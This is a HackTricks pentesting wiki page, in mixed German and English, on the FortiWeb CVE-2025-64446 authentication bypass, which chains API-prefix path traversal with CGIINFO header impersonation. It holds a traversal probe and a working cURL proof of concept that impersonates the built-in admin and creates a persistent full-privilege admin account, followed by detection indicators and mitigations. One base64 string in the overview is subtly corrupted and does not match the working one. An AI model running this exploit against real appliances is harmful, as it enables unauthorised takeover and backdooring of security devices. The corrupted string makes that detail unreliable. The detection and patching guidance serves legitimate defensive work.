Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Übersicht
Fortinet FortiWeb stellt einen zentralen CGI-Dispatcher unter /cgi-bin/fwbcgi bereit. Eine Kette aus zwei Bugs ermöglicht einem unauthenticated remote attacker:
- Reach
fwbcgiby starting the URL with a valid API prefix and traversing directories. - Impersonate any user (including the built-in
admin) by supplying a special HTTP header that the CGI trusts as identity.
Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Eine Ausnutzung wurde in freier Wildbahn beobachtet, um persistente Admin-Benutzer anzulegen.
Betroffene Versionen (laut öffentlichen Angaben):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 gibt HTTP 403 für die untenstehende traversal probe zurück.
Schnelle Schwachstellenprüfung
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- Interpretation: HTTP 200 → wahrscheinlich verwundbar; HTTP 403 → behoben.
Ursachenkette
- API-prefix path traversal to internal CGI
- Jeder Request-Pfad, der mit einem gültigen FortiWeb API-Präfix beginnt (z. B.
/api/v2.0/cmdb/oder/api/v2.0/cmd/), kann mittels../bis nach/cgi-bin/fwbcgitraversiert werden.
- Minimal-body validation bypass
- Sobald
fwbcgierreicht ist, führt eine erste Kontrolle eine permissive JSON-Prüfung durch, die durch eine pro-Pfad-Datei unter/var/log/inputcheck/gesteuert wird. Ist die Datei nicht vorhanden, wird die Prüfung sofort bestanden. Wenn sie vorhanden ist, muss der Body nur gültiges JSON sein. Verwende{}als minimalen konformen Body.
- Header-driven user impersonation
- Das Programm liest die CGI-Umgebungsvariable
HTTP_CGIINFO(abgeleitet vom HTTP-HeaderCGIINFO), dekodiert sie Base64, parst JSON und kopiert Attribute direkt in den Login-Kontext, wobei die Domain/VDOM gesetzt wird. Wichtige Keys: username,loginname,vdom,profname- Beispiel-JSON, um sich als den eingebauten admin auszugeben:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
Base64 des Obigen (wie in freier Wildbahn verwendet):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
End-to-end-Abuse-Muster (unauthenticated → admin)
- Erreiche
/cgi-bin/fwbcgivia an API-prefix traversal. - Sende einen beliebigen gültigen JSON-Body (z. B.
{}), um die Eingabeprüfung zu bestehen. - Sende den Header
CGIINFO: <base64(json)>, wobei das JSON die Ziel-Identität definiert. - POSTe das vom
fwbcgierwartete Backend-JSON, um privilegierte Aktionen durchzuführen (z. B. einen Admin-Benutzer zur Persistenz anzulegen).
Minimaler cURL-PoC
- Traversal-Exposure prüfen:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- Sich als admin ausgeben und einen neuen lokalen admin-Benutzer erstellen:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
Hinweise:
- Any valid JSON body suffices (e.g.,
{}) if/var/log/inputcheck/<path>.jsondoes not exist. - The action schema is FortiWeb-internal; the example above adds a local admin with full privileges.
Erkennung
- Anfragen, die
/cgi-bin/fwbcgiüber API-Prefix-Pfade erreichen, die../enthalten (z. B./api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi). - Vorhandensein des Headers
CGIINFOmit Base64 JSON, das die Keysusername/loginname/vdom/profnameenthält. - Backend-Artefakte:
- Pfadspezifische Dateien unter
/var/log/inputcheck/(gate configuration). - Unerwartete Erstellung von Admins und Konfigurationsänderungen.
- Schnelle Validierung: die Traversal-Probe, die 200 (exposed) vs 403 (blocked in fixed builds) zurückgibt.
Gegenmaßnahmen
- Auf gefixte Releases aktualisieren (Beispiele: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) gemäß Advisory des Vendors.
- Bis zum Patch:
- Den FortiWeb-Management-Plane nicht gegenüber nicht vertrauenswürdigen Netzwerken exponieren.
- Reverse-Proxy/WAF-Regeln hinzufügen, die blockieren:
- Pfade, die mit
/api/beginnen und../cgi-bin/fwbcgienthalten. - Anfragen, die einen
CGIINFO-Header tragen. - Die oben genannten Erkennungsindikatoren überwachen und Alarme auslösen.
Referenzen
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

